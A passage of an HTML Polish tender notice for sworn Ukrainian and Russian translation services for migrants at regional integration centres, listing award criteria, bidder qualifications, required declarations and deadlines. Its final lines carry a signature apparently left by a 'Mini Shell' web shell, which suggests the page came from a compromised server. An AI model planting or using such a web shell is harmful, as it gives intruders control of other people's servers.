class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Potencjał osoby skierowanej przez Wykonawcę do realizacji przedmiotu zamówienia – doświadczenie tłumacza</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">30</span></h3> <h3 class="mb-0">Kryterium 3</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">aspekty społeczne, w tym integracja zawodowa i społeczna osób, o których mowa w art. 94 ust. 1 ustawy</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Klauzula społeczna – skierowanie tłumacza z orzeczeniem niepełnosprawności</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">10</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.3.11.) Określenie aspektów społecznych, środowiskowych lub innowacyjnych, etykiet lub rachunku kosztów cyklu życia w odniesieniu do kryteriów oceny ofert: </h3> <p class="mb-0">zgodnie z art. 242 ust. 2 ustawy - aspekty społeczne</p> <h3 class="p-2 mt-4 bg-light">Część 3</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Świadczenie usług tłumaczenia pisemnego przysięgłego z języka ukraińskiego, rosyjskiego i rosyjsko-ukraińskiego na język polski dla obywateli państw trzecich, w tym migrantów, będących uczestnikami Centrum Integracji w Zamościu przy ul. Zagłoby 8, zgodnie z opisem przedmiotu zamówienia zawartym w Załączniku nr 1.3 do SWZ </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> 1)	Zgodnie z art. 441 ust. 1 ustawy PZP Zamawiający zastrzega sobie możliwość skorzystania z Prawa opcji polegającego na zwiększeniu zapotrzebowania o przedmiot zamówienia określony w Formularzu Ofertowym, stanowiącym załącznik nr 2 do SWZ oraz na zasadach określonych w Projektowanych postanowieniach umowy – załącznik nr 10 do SWZ. <br/>Zamawiający przewiduje w ramach prawa opcji 150 stron tłumaczenia<br/>2)	Podmiotem uprawnionym do wykonania prawa opcji jest Zamawiający. <br/>3)	Wykonanie ww. opcji jest wyłącznym prawem Zamawiającego. Zamawiający nie jest zobowiązany do zrealizowania wartości przedmiotu umowy objętej prawem opcji;<br/>4)	Wykonawcy nie przysługują żadne roszczenia – szczególnie finansowe - z tytułu nieskorzystania z Prawa opcji lub niewykorzystania jego pełnej wartości. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">24 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">1.	Przy wyborze najkorzystniejszej oferty na realizację przedmiotu zamówienia, Zamawiający będzie się kierował następującymi kryteriami i ich wagami <br/>1)	Cena oferty – 60 % <br/>2)	Potencjał osoby skierowanej przez Wykonawcę do realizacji przedmiotu zamówienia – doświadczenie tłumacza – 30%<br/>3)	Klauzula społeczna – skierowanie tłumacza z orzeczeniem niepełnosprawności – 10%<br/>Zamawiający zsumuje punkty przyznane ofercie we wszystkich wyżej określonych kryteriach i wybierze ofertę, która otrzyma najwyższą liczbę punktów. Zamawiający dokona całkowitej oceny końcowej oferty według poniższego wzoru: <br/><br/>Op = C + PT+ KS<br/><br/>Ocena w poszczególnych kryteriach zostanie dokonana z dokładnością do dwóch miejsc po przecinku, zgodnie z matematyczną zasadą zaokrąglania liczb. <br/>Za najkorzystniejszą zostanie uznana oferta z najwyższą liczbą punktów spośród nieodrzuconych ofert. <br/>Zamawiający udzieli zamówienia Wykonawcy, którego oferta: <br/>a) została oceniona jako najkorzystniejsza w oparciu o podane kryteria oceny, <br/>b) odpowiada wszystkim wymaganiom określonym w ustawie Pzp, <br/>c) odpowiada wszystkim wymaganiom przedstawionym w SWZ. <br/><br/>Kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia, stanowiące kryterium jakościowe oceny ofert mają znaczący wpływ na jakość wykonania zamówienia. Od doświadczenia, wiedzy i umiejętności tłumaczy zależy jakość, rzetelność, dbałość wykonywanej usługi oraz rękojmia należytego wykonania przedmiotu przyszłej umowy.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Potencjał osoby skierowanej przez Wykonawcę do realizacji przedmiotu zamówienia – doświadczenie tłumacza</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">30</span></h3> <h3 class="mb-0">Kryterium 3</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">aspekty społeczne, w tym integracja zawodowa i społeczna osób, o których mowa w art. 94 ust. 1 ustawy</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Klauzula społeczna – skierowanie tłumacza z orzeczeniem niepełnosprawności</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">10</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.3.11.) Określenie aspektów społecznych, środowiskowych lub innowacyjnych, etykiet lub rachunku kosztów cyklu życia w odniesieniu do kryteriów oceny ofert: </h3> <p class="mb-0">zgodnie z art. 242 ust. 2 ustawy - aspekty społeczne</p> <h3 class="p-2 mt-4 bg-light">Część 4</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Świadczenie usług tłumaczenia pisemnego przysięgłego z języka ukraińskiego, rosyjskiego i rosyjsko-ukraińskiego na język polski dla obywateli państw trzecich, w tym migrantów, będących uczestnikami Centrum Integracji w Białej Podlaskiej przy ul. Warszawskiej 14, zgodnie z opisem przedmiotu zamówienia zawartym w Załączniku nr 1.4 do SWZ </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> 1)	Zgodnie z art. 441 ust. 1 ustawy PZP Zamawiający zastrzega sobie możliwość skorzystania z Prawa opcji polegającego na zwiększeniu zapotrzebowania o przedmiot zamówienia określony w Formularzu Ofertowym, stanowiącym załącznik nr 2 do SWZ oraz na zasadach określonych w Projektowanych postanowieniach umowy – załącznik nr 10 do SWZ. <br/>Zamawiający przewiduje w ramach prawa opcji 150 stron tłumaczenia<br/>2)	Podmiotem uprawnionym do wykonania prawa opcji jest Zamawiający. <br/>3)	Wykonanie ww. opcji jest wyłącznym prawem Zamawiającego. Zamawiający nie jest zobowiązany do zrealizowania wartości przedmiotu umowy objętej prawem opcji;<br/>4)	Wykonawcy nie przysługują żadne roszczenia – szczególnie finansowe - z tytułu nieskorzystania z Prawa opcji lub niewykorzystania jego pełnej wartości. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">24 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">1.	Przy wyborze najkorzystniejszej oferty na realizację przedmiotu zamówienia, Zamawiający będzie się kierował następującymi kryteriami i ich wagami <br/>1)	Cena oferty – 60 % <br/>2)	Potencjał osoby skierowanej przez Wykonawcę do realizacji przedmiotu zamówienia – doświadczenie tłumacza – 30%<br/>3)	Klauzula społeczna – skierowanie tłumacza z orzeczeniem niepełnosprawności – 10%<br/>Zamawiający zsumuje punkty przyznane ofercie we wszystkich wyżej określonych kryteriach i wybierze ofertę, która otrzyma najwyższą liczbę punktów. Zamawiający dokona całkowitej oceny końcowej oferty według poniższego wzoru: <br/><br/>Op = C + PT+ KS<br/><br/>Ocena w poszczególnych kryteriach zostanie dokonana z dokładnością do dwóch miejsc po przecinku, zgodnie z matematyczną zasadą zaokrąglania liczb. <br/>Za najkorzystniejszą zostanie uznana oferta z najwyższą liczbą punktów spośród nieodrzuconych ofert. <br/>Zamawiający udzieli zamówienia Wykonawcy, którego oferta: <br/>a) została oceniona jako najkorzystniejsza w oparciu o podane kryteria oceny, <br/>b) odpowiada wszystkim wymaganiom określonym w ustawie Pzp, <br/>c) odpowiada wszystkim wymaganiom przedstawionym w SWZ. <br/><br/>Kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia, stanowiące kryterium jakościowe oceny ofert mają znaczący wpływ na jakość wykonania zamówienia. Od doświadczenia, wiedzy i umiejętności tłumaczy zależy jakość, rzetelność, dbałość wykonywanej usługi oraz rękojmia należytego wykonania przedmiotu przyszłej umowy.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Potencjał osoby skierowanej przez Wykonawcę do realizacji przedmiotu zamówienia – doświadczenie tłumacza</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">30</span></h3> <h3 class="mb-0">Kryterium 3</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">aspekty społeczne, w tym integracja zawodowa i społeczna osób, o których mowa w art. 94 ust. 1 ustawy</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Klauzula społeczna – skierowanie tłumacza z orzeczeniem niepełnosprawności</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">10</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.3.11.) Określenie aspektów społecznych, środowiskowych lub innowacyjnych, etykiet lub rachunku kosztów cyklu życia w odniesieniu do kryteriów oceny ofert: </h3> <p class="mb-0">zgodnie z art. 242 ust. 2 ustawy - aspekty społeczne</p> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.2.) Fakultatywne podstawy wykluczenia: </h3> <p class="mb-0">Art. 109 ust. 1 pkt 4</p> <p class="mb-0">Art. 109 ust. 1 pkt 5</p> <p class="mb-0">Art. 109 ust. 1 pkt 7</p> <p class="mb-0">Art. 109 ust. 1 pkt 8</p> <p class="mb-0">Art. 109 ust. 1 pkt 9</p> <p class="mb-0">Art. 109 ust. 1 pkt 10</p> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> Zamawiający określa następujące warunki udziału w zakresie części 1, 2, 3, 4 : dysponowania osobami zdolnymi do wykonania zamówienia:<br/>Wykonawca spełni wskazany warunek udziału w postępowaniu, jeżeli skieruje do realizacji zamówienia co najmniej jednego tłumacza posiadającego:<br/>- wykształcenie wyższe<br/>- tytuł tłumacza przysięgłego języka ukraińskiego oraz języka rosyjskiego potwierdzony wpisem na listę tłumaczy przysięgłych w Ministerstwie Sprawiedliwości oraz spełniający wymogi określone ustawą z dnia 25 listopada 2004 r. o zawodzie tłumacza przysięgłego, <br/>- minimum 2-letnie doświadczenie zawodowe w wykonywaniu tłumaczeń przysięgłych dokumentów prawnych z języka ukraińskiego i/lub języka rosyjskiego na język polski lub z języka polskiego na język ukraiński i/lub rosyjski<br/>W przypadku gdy wykonawca składa ofertę na kilka części Wykonawca może wykazać tego samego tłumacza w kilku częściach <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">1) Zgodnie z art. 274 ust. 1 ustawy Pzp, Zamawiający przed wyborem najkorzystniejszej oferty wezwie Wykonawcę, którego oferta została najwyżej oceniona, do złożenia w wyznaczonym terminie, nie krótszym niż 5 dni, aktualnych na dzień złożenia, następujących podmiotowych środków dowodowych: <br/>a)	oświadczenia, w zakresie art. 108 ust. 1 pkt. 5) ustawy Pzp, o braku przynależności do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów (t.j. Dz. U. z 2024 r. poz. 1616), z innym Wykonawcą, który złożył odrębną ofertę, albo oświadczenia o przynależności do tej samej grupy kapitałowej wraz z dokumentami lub informacjami potwierdzającymi przygotowanie oferty niezależnie od innego Wykonawcy należącego do tej samej grupy kapitałowej, zgodnie ze wzorem stanowiącym załącznik nr 4 do SWZ.<br/>b)	odpisu lub informacji z Krajowego Rejestru Sądowego lub z Centralnej Ewidencji i Informacji o Działalności Gospodarczej, sporządzonych nie wcześniej niż 3 miesiące przed złożeniem, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji – w celu potwierdzenia braku podstaw wykluczenia na podstawie art. 109 ust. 1 pkt. 4) ustawy Pzp (wskazany termin 3 miesięcy określony został w § 2 ust. 1 pkt. 6) Rozporządzenia Ministra Rozwoju, Pracy i Technologii z dnia 23 grudnia 2020 r. w sprawie podmiotowych środków dowodowych oraz innych dokumentów lub oświadczeń, jakich może żądać Zamawiający od Wykonawcy (Dz.U. 2020 poz. 2415 ze zm.);<br/>c)	oświadczenia Wykonawcy o aktualności informacji zawartych w oświadczeniu, o którym mowa rozdziale XIV ust. 1 pkt. 1), w zakresie podstaw wykluczenia z postępowania wskazanych przez Zamawiającego, o których mowa w art. 108 ust. 1 pkt. 3)-6) ustawy Pzp oraz art. 109 ust. 1 pkt. 5), 7), 8), 9) i 10) ustawy Pzp oraz podstaw wskazanych w art. 7 ust. 1 ustawy z dnia 13 kwietnia 2022 r. o szczególnych rozwiązaniach w zakresie przeciwdziałania wspieraniu agresji na Ukrainę oraz służących ochronie bezpieczeństwa narodowego (t.j. Dz. U. 2024 poz. 507), zgodnie ze wzorem stanowiącym załącznik nr 5 do SWZ.<br/>2)	Jeżeli Wykonawca ma siedzibę lub miejsce zamieszkania poza granicami Rzeczypospolitej Polskiej, zamiast dokumentu o których mowa w pkt 1 lit. b) powyżej składa dokument lub dokumenty wystawione w kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania, lub miejsce zamieszkania ma osoba, której dokument dotyczy potwierdzające, że nie otwarto jego likwidacji, nie ogłoszono upadłości, jego aktywami nie zarządza likwidator lub sąd, nie zawarł układu z wierzycielami, jego działalność gospodarcza nie jest zawieszona ani nie znajduje się on w innej tego rodzaju sytuacji wynikającej z podobnej procedury przewidzianej w przepisach miejsca wszczęcia tej procedury. Dokumenty, o których mowa powyżej, powinny być wystawione nie wcześniej niż 3 miesiące przed ich złożeniem. <br/>Jeżeli w kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania, lub miejsce zamieszkania ma osoba, której dokument dotyczy nie wydaje się dokumentu, o którym mowa w rozdziale XIV ust. 2 pkt. 1) lit. b), zastępuje się je odpowiednio w całości lub w części dokumentem zawierającym odpowiednio oświadczenie Wykonawcy, ze wskazaniem osoby albo osób uprawnionych do jego reprezentacji, lub oświadczenie osoby, której dokument miał dotyczyć, złożone pod przysięgą, lub, jeżeli w kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania lub miejsce zamieszkania ma osoba, której dokument miał dotyczyć nie ma przepisów o oświadczeniu pod przysięgą, złożone przed organem sądowym lub administracyjnym, notariuszem, organem samorządu zawodowego lub gospodarczego, właściwym ze względu na siedzibę lub miejsce zamieszkania Wykonawcy. <br/>Do podmiotów udostępniających zasoby na zasadach określonych w art. 118 ustawy Pzp oraz podwykonawców niebędących podmiotami udostępniającymi zasoby na tych zasadach, mających siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej.</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">Zgodnie z art. 274 ust. 1 ustawy Pzp, Zamawiający przed wyborem najkorzystniejszej oferty wezwie Wykonawcę, którego oferta została najwyżej oceniona, do złożenia w wyznaczonym terminie, nie krótszym niż 5 dni, aktualnych na dzień złożenia, następujących podmiotowych środków dowodowych: <br/>- wykazu osób skierowanych przez Wykonawcę do realizacji zamówienia publicznego, w szczególności odpowiedzialnych za świadczenie usług wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami, sporządzonego zgodnie ze wzorem wykazu osób, stanowiącym załącznik nr 7 do SWZ (w odniesieniu do warunków udziału w postępowaniu).<br/>Zamawiający zgodnie z art. 274 ust. 1 ustawy wezwie najwyżej ocenionego Wykonawcę do złożenia wykazu osób skierowanych do realizacji zamówienia (Zał. Nr 7 do SWZ), w którym Wykonawca ma obowiązek wskazać tego samego tłumacza, za którego otrzymał punkty w pozacenowym kryterium oceny ofert. W przypadku, gdy Wykonawca w wykazie osób skierowanych do realizacji zamówienia (Zał. Nr 7) składanym na podstawie art. 274 ust. 1 ustawy Pzp wskaże innego (niż w ofercie) tłumacza – Zamawiający przyzna Wykonawcy 0 pkt w ramach kryterium oceny ofert.</span> </h3> <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> DOKUMENTY SKŁADANE RAZEM Z OFERTĄ - Wykonawca sporządza ofertę na Formularzu ofertowym zgodnie z załącznikiem nr 2 do SWZ oraz musi dołączyć:<br/>1)	wykaz doświadczenia „tłumacza” skierowanego przez wykonawcę do realizacji zamówienia publicznego, składany w ramach kryterium oceny ofert, sporządzonego zgodnie ze wzorem stanowiącym załącznik nr 6 do SWZ – wykaz ten nie podlega uzupełnieniu. W przypadku nie złożenia wykazu wraz z ofertą Wykonawca otrzyma 0 pkt w pozacenowych kryteriach oceny ofert;<br/>2)	oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu w zakresie wskazanym w rozdziale XIII ust. 1 SWZ, uwzględniające przesłanki wykluczenia z art. 7 ust. 1 ustawy o szczególnych rozwiązaniach w zakresie przeciwdziałania wspieraniu agresji na Ukrainę oraz służących ochronie bezpieczeństwa narodowego, składane na podstawie art. 125 ust. 1 ustawy Pzp, zgodnie ze wzorem stanowiącym załącznik nr 3 do SWZ. Oświadczenie to stanowi dowód potwierdzający brak podstaw wykluczenia oraz spełnianie warunków udziału w postępowaniu, na dzień składania ofert, tymczasowo zastępujący wymagane podmiotowe środki dowodowe, wskazane w rozdziale XIV ust. 2 SWZ; <br/>Oświadczenie, o którym mowa w pkt. 1 składają odrębnie: <br/>	Wykonawca/każdy spośród Wykonawców wspólnie ubiegających się o udzielenie zamówienia. <br/>W takim przypadku oświadczenie potwierdza brak podstaw wykluczenia Wykonawcy oraz spełnianie warunków udziału w postępowaniu w zakresie, w jakim każdy z Wykonawców wykazuje spełnianie warunków udziału w postępowaniu, <br/>	podmiot trzeci, na którego potencjał powołuje się Wykonawca celem potwierdzenia spełnienia warunków udziału w postępowaniu. W takim przypadku oświadczenie potwierdza brak podstaw wykluczenia podmiotu oraz spełnianie warunków udziału w postępowaniu w zakresie, w jakim podmiot udostępnia swoje zasoby Wykonawcy, <br/>	podwykonawcy, na których zasobach Wykonawca nie polega przy wykazywaniu spełnienia warunków udziału w postępowaniu. W takim przypadku oświadczenie potwierdza brak podstaw wykluczenia podwykonawcy; <br/>3)	Dowody dot. „samooczyszczenia” – w przypadku podlegania wykluczeniu na podstawie art. 108 ust. 1 pkt. 1), 2) i 5) oraz art. 109 ust. 1 pkt. 4), 5), 7), 8), 9) i 10) ustawy Pzp Wykonawca może przedstawić dowody, o których mowa w rozdziale XIII ust. 10; (jeżeli dotyczy)<br/>4)	Pełnomocnictwo: (jeżeli dotyczy)<br/>5)	Oświadczenie Wykonawców wspólnie ubiegających się o udzielenie zamówienia - Wykonawcy wspólnie ubiegający się o udzielenie zamówienia mogą polegać na zdolnościach tych z Wykonawców, którzy wykonają usługi, do realizacji których te zdolności są wymagane. W takiej sytuacji Wykonawcy są zobowiązani dołączyć do oferty oświadczenie zgodnie ze wzorem stanowiącym załącznik nr 9 do SWZ; (jeżeli dotyczy)<br/>6)	Zobowiązanie podmiotu trzeciego - Zobowiązanie podmiotu udostępniającego zasoby lub inny podmiotowy środek dowodowy, o których mowa rozdziale XIII ust. 6, potwierdzający, że stosunek łączący Wykonawcę z podmiotami udostępniającymi zasoby gwarantuje rzeczywisty dostęp do tych zasobów oraz określający w szczególności: zakres dostępnych Wykonawcy zasobów podmiotu udostępniającego zasoby; sposób i okres udostępnienia Wykonawcy i wykorzystania przez niego zasobów podmiotu udostępniającego te zasoby przy wykonywaniu zamówienia; czy i w jakim zakresie podmiot udostępniający zasoby, na zdolnościach którego Wykonawca polega w odniesieniu do warunków udziału w postępowaniu dotyczących wykształcenia, kwalifikacji zawodowych lub doświadczenia, zrealizuje usługi, których wskazane zdolności dotyczą, zgodnie ze wzorem stanowiącym załącznik nr 8 do SWZ; (jeżeli dotyczy)<br/>7)	Zastrzeżenie tajemnicy przedsiębiorstwa (jeżeli dotyczy) <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> 1. Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia.<br/>2. Wykonawcy wspólnie ubiegający się o udzielenie zamówienia ustanawiają pełnomocnika do reprezentowania ich w postępowaniu o udzielenie zamówienia albo do reprezentowania w postępowaniu i do zawarcia umowy w sprawie zamówienia publicznego. Pełnomocnictwo winno być załączone do oferty w postaci elektronicznej opatrzonej kwalifikowanym podpisem elektronicznym.<br/>3. Wykonawcy, którzy złożyli wspólną ofertę ponoszą, w razie wybrania ich oferty przez Zamawiającego, solidarną odpowiedzialność wobec Zamawiającego za wykonanie umowy.<br/>4. Wykonawcy wspólnie ubiegający się o zamówienie mogą łącznie spełniać warunki udziału w postępowaniu. <br/>5. W przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia w stosunku do żadnego z Wykonawców nie mogą zachodzić przesłanki podstaw do wykluczenia z postępowania.<br/>6. Zgodnie z art. 117 ust. 3 i 4 ustawy Pzp Wykonawcy wspólnie ubiegający się o udzielenie zamówienia mogą polegać na zdolnościach tych z Wykonawców, którzy wykonają usługi, do realizacji których te zdolności są wymagane. W takiej sytuacji Wykonawcy są zobowiązani dołączyć do oferty oświadczenie, z którego wynika, które usługi wykonają poszczególni<br/>Wykonawcy spośród Wykonawców wspólnie ubiegających się o udzielenie zamówienia publicznego. Wzór oświadczenia stanowi załącznik nr 9 do SWZ. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> Rodzaj i zakres zmian umowy oraz warunków ich prowadzenia zostały określone w Projektowanych postanowieniach umowy - zał. nr 10 do SWZ <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.6.) Zamawiający przewiduje następujące wymagania związane z realizacją zamówienia: </h3> <p class="mb-0">obejmujące, zgodnie z art. 96 ustawy: - aspekty społeczne</p> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2025-07-08 10:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">https://platformazakupowa.pl/</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2025-07-08 10:05</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal"> 30 dni </span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> W Biuletynie Informacji Publicznej ROPS w Lublinie pod adresem https://rops.bip.lubelskie.pl/index.php?<br/>id=548&amp;action=details&amp;document_id=2075254<br/>widnieje opublikowana, związana z wykonaniem obowiązków wynikających z ustawy z dnia 14 czerwca 2024 r. o ochronie<br/>sygnalistów (Dz. U. z 2024 r. poz. 928) wewnętrzna Procedura dokonywania zgłoszeń naruszeń prawa i podejmowania<br/>działań następczych w związku ze zgłoszeniami pochodzącymi od sygnalistów.

Creat By MiNi SheLL
Email: jattceo@gmail.com